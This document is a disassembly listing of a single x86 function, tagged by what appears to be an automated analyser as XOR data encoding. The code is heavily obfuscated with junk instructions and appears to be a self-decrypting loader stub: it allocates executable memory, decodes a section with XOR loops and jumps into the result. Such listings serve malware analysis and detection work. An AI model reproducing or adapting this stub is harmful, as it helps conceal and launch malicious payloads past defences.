Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xd6d937a7
add esi, 0x5ca9b510
and ecx, esi
add ecx, esi
popal
not esi
or ecx, esi
mov esi, 0
mov eax, edx
dec ecx
add edi, ecx
not edi
mov ebx, eax
or ecx, ecx
mov edi, 0xa793f366
mov edx, ebx
sub ecx, 0xfb07a0f8
mov edi, 0x29c3700d
mov edi, ecx
inc esi
and ecx, ecx
add edi, edi
cmp esi, 0x1003669
jne 0xa789c6
sub ecx, 0xde224b9e
or ecx, ecx
mov esi, 0xe46cc5a8
mov esi, ecx
mov ecx, 0xa78796
add edx, edi
add ebx, 0x99df1e69
and ebx, edi
mov eax, 0xa7898a
add ebx, edx
mov ebx, edx
mov esi, dword [ecx]
inc edi
or edi, ebx
and esi, 0xff
sub edi, 0x482dc3dd
add edi, 0x2d0d92b6
add edi, ebx
xor dword [eax], esi
mov edi, 0x19d8c4e1
sub edx, 1
add eax, 1
sub edi, 0xe1c93639
mov edx, 0xe425cb08
inc ecx
sub ebx, edi
sub edx, 0x94cc5a1a
cmp eax, entry0
jl 0xa78a1d
sub edx, 0x7ba576ab
add edx, 0x8dbc5da2
not edi
mov edx, edi
sub edx, ebx
sub ecx, edi
add edi, 0x44c98d2f
add esi, edi
mov edx, 0xa7898e
mov ebx, esi
sub edi, ecx
add ebx, ecx
mov edx, dword [edx]
and ebx, ebx
not esi
dec ecx
mov edx, dword [edx]
add edi, edi
and edi, edi
or ecx, edi
push edx
add ecx, ebx
add edi, 0xed5b351f
mov edx, 0xa7898a
sub edi, ebx
inc ebx
mov edx, dword [edx]
not ebx
not esi
add esi, 0x4ef98ecc
mov edx, dword [edx]
mov ebx, ecx
not ecx
add edi, ebx
sub esp, 4
mov dword [esp], 0xa78992
not ebx
sub ebx, edi
or ebx, edi
call edx
or esi, esi
or esi, esi
inc esi
pop edx
add esi, 0x36a59e2a
add edi, ecx
sub ecx, ebx
sub esp, 4
mov dword [esp], 0xa7899f
not esi
add ebx, 0x5e9c23b6
push eax
inc edi
and esi, ebx
inc ebx
call edx
inc esi
or ecx, ecx
sub ebx, ecx
push 0x40
sub ebx, ecx
dec ecx
sub ebx, edi
push 0x3000
dec ecx
inc edi
push 0x20000272
not edi
add ebx, 1
push 0
mov ecx, edi
and ecx, esi
call eax
and esi, esi
add esi, 0x9afb9a34
inc ecx
add eax, 0x200001ce
sub ebx, 0x82362772
sub esi, 0x14fd05e5
mov edx, 0xd4b6c174
mov ecx, 0xe1e90e26
sub ecx, esi
mov dword [eax], edx
sub ebx, 0x401a126d
and ecx, esi
sub ecx, 0xefe3dc62
mov edx, dword [eax]
not esi
inc edi
cmp edx, 0xd4b6c174
je 0xa78b78
mov ecx, 0
mov byte [ecx], dl
not esi
inc ecx
sub ebx, 1
mov ebx, edi
dec esi
inc ecx
and esi, ecx
mov ebx, section..reltc
or esi, ecx
or esi, esi
mov eax, 0xa78795
or esi, ecx
mov ecx, 0xe90d425a
dec esi
mov edx, 0
mov ecx, esi
not ecx
mov esi, ecx
mov edi, 0xa78796
and esi, ecx
and esi, ecx
lea edi, [edi + edx]
mov ecx, 0xd1c79e73
mov ecx, esi
mov edi, dword [edi]
sub ecx, esi
and esi, esi
mov ecx, 0x2a24d597
and edi, 0xff
add ecx, esi
add esi, ecx
sub esi, 0x8d0a3da4
inc edx
mov ecx, esi
sub esi, 1
cmp edx, 0x1f4
jne 0xa78bec
mov edx, 0
add ecx, 0x1207517c
mov esi, 0x30259e8a
add ecx, 1
mov esi, ecx
add ecx, ecx
xor dword [ebx], edi
and esi, ecx
sub ecx, 0x2480112f
add ebx, 2
mov ecx, 0x389a55b7
mov ecx, esi
sub ecx, esi
cmp ebx, eax
jl 0xa78ba8
not ecx
mov ecx, esi
add ecx, 0x1801f9ec
dec ecx
add esi, ecx
mov ebx, section..reltc
sub edi, ecx
and ecx, edi
mov eax, section..reltc
add ecx, ecx
and edi, ecx
dec edi
mov esi, 0xa78795
mov edi, ecx
inc edi
mov edx, 0
dec ecx
sub ecx, 0x88842369
mov dl, byte [eax]
mov ecx, edi
and ecx, edi
mov byte [ebx], dl
inc edi
sub edi, ecx
inc ebx
mov ecx, 0x7f1d96c5
dec ecx
sub edi, ecx
add eax, 2
not ecx
inc ecx
cmp eax, esi
jle 0xa78c56
or edi, ecx
mov ecx, 0x60dfc679
add edi, edi
add esi, 0x895bd528
sub esi, 1
add esi, 0xa448412d
push 0x8dc6a0
mov esi, 0x6560dea
add ecx, 1
ret